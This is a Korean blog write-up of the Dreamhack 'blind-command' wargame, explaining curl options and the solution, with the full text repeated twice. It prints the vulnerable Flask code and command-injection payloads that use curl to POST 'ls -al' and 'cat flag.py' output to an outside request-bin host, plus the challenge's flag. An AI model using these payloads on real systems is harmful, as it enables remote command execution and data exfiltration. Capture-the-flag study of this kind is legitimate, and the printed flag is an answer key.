프롤로그
어제것도 그렇고 딱히 글 쓸 생각은 없었는데 curl 이랑 Dreamhack Tools 쓰는 거 정리도 할 겸 라이트업 작성
문제
https://dreamhack.io/wargame/challenges/73
blind-command
Read the flag file XD Reference Web Hacking
dreamhack.io

코드 및 분석
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
간단하다. GET 요청밖에 허용되지 않는 곳에서 cmd를 파라미터로 입력받는다.
파라미터가 만약에 존재하지 않다면.... ?cmd=[cmd]를 출력시키고,
GET요청이라면 cmd를 그대로 리턴
GET요청이 아니라면 해당 명령어를 수행한다.
풀이전략
GET요청밖에 허용이 되지 않으나, GET이 아닌 방식으로 cmd를 서버에 보내야한다.
OPTIONS를 이용해보고, 다른 허용되는 명령어를 보고, 해당 허용 메소드로 파라미터를 보낸다.
이때, CURL을 이용한다.
CURL
자주 curl을 많이 보았다.
뭐, curl -o "링크" 이런 거 뭔가 설치할때마다 저런 거 많이 봤는데 이참에 한 번 정리를 한다.
CURL은 Client URL의 약자로,
다양한 프로토콜(HTTP, HTTPS, FTP 등)을 통해 데이터를 전송할 수 있는 명령줄 기반 도구이다. 또한, C 라이브러리인 libcurl을 제공하여 다양한 프로그래밍 언어에서 사용할 수 있다.
📌 curl의 주요 기능
1. 웹 요청 및 응답 확인 (HTTP, HTTPS)
2. 파일 다운로드 및 업로드 (FTP, SFTP, SCP)
3. API 테스트 및 데이터 송수신 (JSON, XML)
4. 인증을 포함한 요청 (Basic Auth, Bearer Token 등)
5. 프록시 서버 및 SSL/TLS 설정 가능
이때 여러가지 옵션이 있는데
-o : 파일 다운로드(이름 변경)
-O : 파일 다운로드
-I : 헤더 확인
-x POST : 포스트 요청
-d : 데이터 전송
-H "Content-Type: application/json"으로 JSON 형식의 데이터를 전송
-F 옵션을 사용하면 파일을 multipart/form-data 으로 업로드
풀이과정

POSTMAN으로 cmd = ls로 설정해두고, GET 요청을 보내면 ls가 출력되는 것을 볼 수 있다.
저 GET요청을

OPTIONS으로 바꿔서 보면, OPTIONS, GET, HEAD 가 허용되는 것을 알 수 있다.
아 그렇다면? GET이 아닌 HEAD요청으로 바꿔서 보내면?

하지만 HEADER만 가져오는 거니까...뭘 할 수가 없다.
그러면?
curl을 이용해서, 드림핵 툴 내쪽 서버로 데이터들을 읽을 수 있게 받도록 하자.
curl -X POST https://kxmigqs.request.dreamhack.games -d "$(ls -al)"
이렇게 하고 보면

저기서 보면, flag.py가 있으니까, 저거를 읽은 것을 출력하면 될 것이다.
http://host1.dreamhack.games:9766/?cmd=curl -X POST https://kxmigqs.request.dreamhack.games -d "$(cat flag.py)"

수행하면 플래그가 나온다.
FLAG
플래그는 'DH{4c9905b5abb9c3eb10af4ab7e1645c23}' 이다.
에필로그
curl, dreamhacktools을 자주 써야하는 상황
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] username:password@ - WriteUp (0) | 2025.03.01 |
---|---|
[드림핵/워게임] login-1 - WriteUp (0) | 2025.02.28 |
[드림핵/워게임] XSS Filtering Bypass Advanced - WriteUp (1) | 2025.02.17 |
[드림핵/워게임] BypassIF - WriteUp (0) | 2025.02.16 |
[드림핵/워게임] baby-jwt - WriteUp (1) | 2025.02.15 |
프롤로그
어제것도 그렇고 딱히 글 쓸 생각은 없었는데 curl 이랑 Dreamhack Tools 쓰는 거 정리도 할 겸 라이트업 작성
문제
https://dreamhack.io/wargame/challenges/73
blind-command
Read the flag file XD Reference Web Hacking
dreamhack.io

코드 및 분석
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
간단하다. GET 요청밖에 허용되지 않는 곳에서 cmd를 파라미터로 입력받는다.
파라미터가 만약에 존재하지 않다면.... ?cmd=[cmd]를 출력시키고,
GET요청이라면 cmd를 그대로 리턴
GET요청이 아니라면 해당 명령어를 수행한다.
풀이전략
GET요청밖에 허용이 되지 않으나, GET이 아닌 방식으로 cmd를 서버에 보내야한다.
OPTIONS를 이용해보고, 다른 허용되는 명령어를 보고, 해당 허용 메소드로 파라미터를 보낸다.
이때, CURL을 이용한다.
CURL
자주 curl을 많이 보았다.
뭐, curl -o "링크" 이런 거 뭔가 설치할때마다 저런 거 많이 봤는데 이참에 한 번 정리를 한다.
CURL은 Client URL의 약자로,
다양한 프로토콜(HTTP, HTTPS, FTP 등)을 통해 데이터를 전송할 수 있는 명령줄 기반 도구이다. 또한, C 라이브러리인 libcurl을 제공하여 다양한 프로그래밍 언어에서 사용할 수 있다.
📌 curl의 주요 기능
1. 웹 요청 및 응답 확인 (HTTP, HTTPS)
2. 파일 다운로드 및 업로드 (FTP, SFTP, SCP)
3. API 테스트 및 데이터 송수신 (JSON, XML)
4. 인증을 포함한 요청 (Basic Auth, Bearer Token 등)
5. 프록시 서버 및 SSL/TLS 설정 가능
이때 여러가지 옵션이 있는데
-o : 파일 다운로드(이름 변경)
-O : 파일 다운로드
-I : 헤더 확인
-x POST : 포스트 요청
-d : 데이터 전송
-H "Content-Type: application/json"으로 JSON 형식의 데이터를 전송
-F 옵션을 사용하면 파일을 multipart/form-data 으로 업로드
풀이과정

POSTMAN으로 cmd = ls로 설정해두고, GET 요청을 보내면 ls가 출력되는 것을 볼 수 있다.
저 GET요청을

OPTIONS으로 바꿔서 보면, OPTIONS, GET, HEAD 가 허용되는 것을 알 수 있다.
아 그렇다면? GET이 아닌 HEAD요청으로 바꿔서 보내면?

하지만 HEADER만 가져오는 거니까...뭘 할 수가 없다.
그러면?
curl을 이용해서, 드림핵 툴 내쪽 서버로 데이터들을 읽을 수 있게 받도록 하자.
curl -X POST https://kxmigqs.request.dreamhack.games -d "$(ls -al)"
이렇게 하고 보면

저기서 보면, flag.py가 있으니까, 저거를 읽은 것을 출력하면 될 것이다.
http://host1.dreamhack.games:9766/?cmd=curl -X POST https://kxmigqs.request.dreamhack.games -d "$(cat flag.py)"

수행하면 플래그가 나온다.
FLAG
플래그는 'DH{4c9905b5abb9c3eb10af4ab7e1645c23}' 이다.
에필로그
curl, dreamhacktools을 자주 써야하는 상황
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] username:password@ - WriteUp (0) | 2025.03.01 |
---|---|
[드림핵/워게임] login-1 - WriteUp (0) | 2025.02.28 |
[드림핵/워게임] XSS Filtering Bypass Advanced - WriteUp (1) | 2025.02.17 |
[드림핵/워게임] BypassIF - WriteUp (0) | 2025.02.16 |
[드림핵/워게임] baby-jwt - WriteUp (1) | 2025.02.15 |